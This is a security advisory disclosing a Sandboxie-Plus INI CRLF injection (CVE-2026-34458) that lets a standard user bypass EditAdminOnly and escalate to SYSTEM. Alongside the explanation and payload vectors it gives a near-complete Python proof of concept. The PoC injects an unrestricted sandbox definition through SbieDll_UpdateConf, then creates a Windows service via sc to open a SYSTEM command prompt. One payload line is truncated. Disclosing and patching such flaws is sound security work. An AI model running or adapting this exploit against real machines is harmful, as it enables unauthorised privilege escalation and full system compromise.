Sandboxie-Plus EditAdminOnly Bypass and Privilege Escalation via INI CRLF Injection

Critical **DavidXanatos** published **GHSA-6xqg-2cjq-95qf** 3 days ago

Package

No package listed

Affected versions

<=1.17.2

Patched versions

1.17.3

Description

Sandboxie-Plus `EditAdminOnly` Bypass and Privilege Escalation via INI CRLF Injection

Summary

An INI injection vulnerability in Sandboxie-Plus allows any unauthenticated or standard local user to bypass configuration restrictions (such as `EditAdminOnly` and `ConfigPassword`) and inject arbitrary directives into the global `Sandboxie.ini` configuration file. This vulnerability enables an attacker to define malicious sandbox environments, providing a trivial escape from the sandbox to gain arbitrary file writes and full SYSTEM privilege escalation.

The vulnerability resides in the IPC message handling of the background service. To allow standard users to manage their personal settings without requiring administrator rights, the service intentionally skips authorization checks (such as enforcing `EditAdminOnly=y` and configuration passwords) if the target setting begins with `UserSettings_`.

When an attacker crafts an IPC message (such as `MSGID_SBIE_INI_ADD_SETTING` or `MSGID_SBIE_INI_SET_SETTING`) targeting this section, it triggers the internal Add or Set functions, respectively.

- For `MSGID_SBIE_INI_ADD_SETTING`, the function does not sanitize the input `value` by splitting on newline characters (`\n`). The literal string containing injected CRLF (`\r\n`) characters in the `value` parameter is stored verbatim in memory. The maximum length of the injected string via the `value` parameter allows virtually limitless payload injection.
- For `MSGID_SBIE_INI_SET_SETTING`, while the `value` parameter is split safely, it does *not* sanitize or split the `setting` name parameter. Attackers can therefore inject CRLF characters directly into the `setting` parameter itself to achieve the identical outcome. However, the `setting` parameter field in the IPC structure is a fixed-size buffer. This severely restricts the injected payload size to a maximum of 65 characters.

During the configuration reload process (which an attacker can inherently trigger), the configuration parser writes the stored values verbatim back to the central `Sandboxie.ini` configuration file. Because the input was not sanitized, an attacker can supply a payload containing a new section header, entirely breaking out of the restricted `[UserSettings_...]` block. When parsed at the next load, it creates a completely new, unrestricted sandbox definition.

PoC

Vector 1: Exploiting the `value` parameter via `MSGID_SBIE_INI_ADD_SETTING`

1. Craft an ALPC/RPC payload for `MSGID_SBIE_INI_ADD_SETTING` and send it to the IPC port using a standard, unprivileged user context.
2. Set the following fields in the payload:
   - `section`: `UserSettings_` (or another `UserSettings_` prefix matching your SID if specifically validated).
   - `setting`: `DummySetting`
   - `value`: `dummy_value\r\n\r\n[AttackerBox]\r\nOpenFilePath=*`

Vector 2: Exploiting the `setting` parameter via `MSGID_SBIE_INI_SET_SETTING`

1. Craft an ALPC/RPC payload for `MSGID_SBIE_INI_SET_SETTING` and send it to the IPC port.
2. Set the following fields in the payload:
   - `section`: `UserSettings_`
   - `setting`: `DummySetting\r\n\r\n[AttackerBox]\r\nOpenFilePath`
   - `value`: `*`

Here is a python poc which should bring up a SYSTEM elevated command prompt with full write access to C:

```
import ctypes
import sys
import os
import shlex
import subprocess
import time
```

```
def test_ini_injection():
    # Load SbieDll.dll
    # Assuming standard installation path
    sbie_dll_path = r"C:\Program Files\Sandboxie-Plus\SbieDll.dll"
    if not os.path.exists(sbie_dll_path):
        print(f"[-] SbieDll.dll not found at {sbie_dll_path}")
        return

    try:
        sbie_dll = ctypes.WinDLL(sbie_dll_path)
    except Exception as e:
        print(f"[-] Failed to load SbieDll.dll: {e}")
        return

    print("[+] Loaded SbieDll.dll")

    # ULONG SbieDll_UpdateConf(WCHAR op, WCHAR* passwd, WCHAR* section, WCHAR*
setting, WCHAR* value)
    try:
        SbieDll_UpdateConf = getattr(sbie_dll, "SbieDll_UpdateConf")
    except AttributeError:
        # It might be a stdcall so it could be decorated, or maybe it's exported via
ordinals?
        # Let's just try SbieDll_UpdateConf
        print("[-] Could not find SbieDll_UpdateConf in exports")
        return

    SbieDll_UpdateConf.argtypes = [
        ctypes.c_uint32,     # op (passed as wide char / int)
        ctypes.c_wchar_p,    # passwd
        ctypes.c_wchar_p,    # section
        ctypes.c_wchar_p,    # setting
        ctypes.c_wchar_p     # value
    ]
    SbieDll_UpdateConf.restype = ctypes.c_ulong

    # We want to use op = 's' (set) or 'a' for add which is better as no limit on
amount you can inject
    op = 'a'
    passwd = None # No password

    # We will target our own user settings section as an unprivileged user.
    section = "UserSettings_Test"

    setting_payload = "DummyAndDummyer"
    value_payload =
"DummyValue\r\n[AttackHelicopter]\r\nRunServicesAsSystem=y\r\nEnabled=y\r\nUnrestrictedS

    print(f"[*] Sending INI Update Request with payload...")
    print(f"    Section: {section}")
    print(f"    Setting: {repr(setting_payload)}")
    print(f"    Value: {value_payload}")

    status = SbieDll_UpdateConf(ord(op), passwd, section, setting_payload,
value_payload)
```

```
    print(f"[+] SbieDll_UpdateConf returned: 0x{status:08X}")

    print("[*] Please check Sandboxie.ini to see if things were injected")

if __name__ == "__main__":
    test_ini_injection()

    time.sleep(4) #Wait for things to be applied

    print(f"[*] Please wait...")


    sandboxie_start = r"C:\Program Files\Sandboxie-Plus\Start.exe"


    #Use services to get an SYSTEM level CMD with access to C
    service_name = "sboxattacker"
    cmd = f"sc create {service_name} binpath=\"cmd /K start\" type=own type=interact
2>nul & sc start {service_name} && pause && sc delete {service_name}  && pause "

    cmd_args = shlex.split(cmd)

    sbox_args = [
        sandboxie_start,
        "/box:AttackHelicopter",
        r"cmd.exe",
        "/c",
        ] + cmd_args
    print(sbox_args)
    result=subprocess.run(sbox_args, capture_output=True, text=True)
    print(result.stdout)
```

Triggering the execution

3. The service receives the payload, bypasses authorization due to the `UserSettings_` section name, stores the raw CRLF strings from either the `value` or `setting` parameters, and writes them exactly as provided to the configuration file.
4. As the configuration file is reloaded, `[AttackerBox]` is parsed as a completely new globally recognized sandbox profile with unrestricted file system access.
5. Full escalation is now trivial

Tested on Windows 11 25H2, Sandboxie-Plus v1.17.2 x64 from a limited user with EditAdminOnly=y in the global config.

Impact

This is a Local Privilege Escalation (LPE) vulnerability. Any local standard user on the system can exploit it to completely bypass Sandboxie isolation parameters, escape the sandbox, and achieve unrestricted SYSTEM privileges, even if the administrator has heavily locked down the global Sandboxie settings using the `EditAdminOnly` directive and a configuration password.

Severity

Critical

CVE ID

CVE-2026-34458

Weaknesses

No CWEs

Credits

sammy12342 Reporter